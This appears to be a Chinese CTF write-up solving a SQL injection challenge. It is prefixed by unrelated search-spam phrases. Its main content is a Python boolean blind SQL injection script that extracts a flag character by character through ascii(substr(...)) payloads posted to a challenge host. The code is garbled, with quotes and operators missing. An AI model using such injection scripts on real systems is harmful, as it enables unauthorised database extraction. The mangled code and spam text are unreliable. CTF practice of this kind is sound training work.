哪里免费做网站,120平米装修10万够吗,做游戏代练的网站,全球搜索大全1、通过题目#xff0c;可以知道该题目为SQL注入类型#xff1a; 2、判断注入类型为数字注入#xff1a; 3、通过BP抓包#xff0c;来判断注入点。
字典爆破发现常规的注入方式都被过滤。 4、因此可以尝试通过布尔盲注的方式来得到flag。编写脚本得到flag import requests…1、通过题目可以知道该题目为SQL注入类型 2、判断注入类型为数字注入 3、通过BP抓包来判断注入点。
字典爆破发现常规的注入方式都被过滤。 4、因此可以尝试通过布尔盲注的方式来得到flag。编写脚本得到flag import requests url http://977ba0f7-8772-4617-9600-8089c3d7e1e3.node5.buuoj.cn:81/index.php result for i in range(1, 50): for j in range(32, 128): payload (ascii(substr((select(flag)from(flag)),{m},1)){n}) response requests.post(urlurl, data{id: payload.format(mi, nj)}) # {m} 是当前正在提取的 flag 字符位置{n} 是 ASCII 码值用于比较。 f response.text.find(girl) -1: result chr(j) print(j) break print(正在输出flag:, result) print(flag:, result) #外层循环 (for i in range(1, 50))循环遍历 flag 的每个字符位置假设 flag 最长为 50 个字符。 #内层循环 (for j in range(32, 128))循环遍历 ASCII 字符集中的可打印字符从空格到 ~。 #payload 变量构造了一个 SQL 注入 payload使用 substr() 函数逐个提取 flag 的字符并通过 ascii() 函数转换为 ASCII 码值然后与 j 比较。 5、得到flag